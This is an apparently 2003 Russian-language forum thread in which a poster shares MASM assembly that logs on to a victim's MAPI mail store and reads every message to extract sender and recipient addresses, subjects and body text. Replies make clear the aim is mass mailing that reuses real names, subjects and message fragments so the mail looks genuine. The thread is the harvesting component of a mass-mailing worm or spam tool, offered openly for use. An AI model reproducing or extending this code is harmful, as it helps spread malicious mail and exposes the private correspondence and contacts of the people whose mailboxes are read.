|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Фев 17, 2003 01:21:58 А вот так можно получать адреса эл. почты. Для нудных критиков - над этим предполагаеться еще подумать и еще поработать:) call GetAddrMAPI call ScanMAPIBase invoke ExitProcess,0 ;############################################# ScanMAPIBase proc uses esi edi LOCAL lpszMessageID[512] : byte LOCAL hMapi : dword LOCAL lppMessage : dword int 3 lea eax, hMapi xor edi, edi Scall MAPILogon_, edi, offset szAabbcc, edi, 3, edi, eax .if eax == edi lea eax, lpszMessageID Scall MAPIFindNext_, hMapi, edi, edi, eax, 4000h, edi, eax .while eax == edi lea eax,lppMessage lea ecx,lpszMessageID Scall MAPIReadMail_, hMapi, edi, ecx, edi, MAPI_SUPPRESS_ATTACH, eax .if eax == edi mov eax, lppMessage mov eax, (MapiMessage ptr [eax]).lpszSubject .if eax != edi ;--------------------------- ; Subjekt == [eax] ;--------------------------- .endif mov eax, lppMessage mov eax, (MapiMessage ptr [eax]).lpOriginator .if eax != edi mov esi,(MapiRecipDesc ptr [eax]).lpszAddress .if esi != edi ;-------------------------------- ; To == [esi] ;-------------------------------- .endif .endif mov eax, lppMessage mov eax, (MapiMessage ptr [eax]).lpRecips .if eax != edi mov esi, (MapiRecipDesc ptr [eax]).lpszAddress .if esi == edi ;--------------------------------- ; From == [esi] ;--------------------------------- .endif .endif mov eax, lppMessage mov eax, (MapiMessage ptr [eax]).lpszNoteText .if eax != edi ;--------------------- ; MessageBody == [eax] ;-------------------- .endif .endif Scall MAPIFreeBuffer_,lppMessage lea eax,lpszMessageID Scall MAPIFindNext_, hMapi, edi, edi, eax, MAPI_SUPPRESS_ATTACH, edi, eax .endw Scall MAPILogoff_, hMapi, edi, edi, edi xor eax, eax inc eax .endif ret ScanMAPIBase endp ;######################################### GetAddrMAPI proc LOCAL hlib:dword invoke LoadLibraryA,addr szLibMapi mov hlib,eax invoke GetProcAddress,hlib,addr szMAPIFindNext mov MAPIFindNext_,eax invoke GetProcAddress,hlib,addr szMAPILogon mov MAPILogon_,eax invoke GetProcAddress,hlib,addr szMAPIReadMail mov MAPIReadMail_,eax invoke GetProcAddress,hlib,addr szMAPILogoff mov MAPILogoff_,eax invoke GetProcAddress,hlib,addr szMAPIFreeBuffer mov MAPIFreeBuffer_,eax ret GetAddrMAPI endp ;################################# |
|
|
Дата: Фев 17, 2003 10:42:15 ... слушей если можешь помести с этой процедурой больший кусок кода, я с MAPI пока не знаком , хочется разобраться , а тут такой пример классный. |
|
|
Дата: Фев 17, 2003 12:34:50 А по моему дальше уже нужно отправлять письмо. Надо этой просе на вход подать структуру для заполнения ее данными. В структуре поля от кого(subject) и куда(from). Потом эту структуру передаешь просе отсылающей письма. |
|
|
Дата: Фев 17, 2003 13:28:36 Я без притензий на код хочу спросить , а чем это лучше сокетов ? |
|
|
Дата: Фев 17, 2003 13:47:55 Это нужно для сбора инфы при рассылке почты. Если сканировать .html и .dbx файлы то нужно придумать тему и имя адресату, а тут все вполне реальное, даже кусок сообщения можно оторвать. А сокетами отправлять почту, я ничего против них не имею. |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.068 |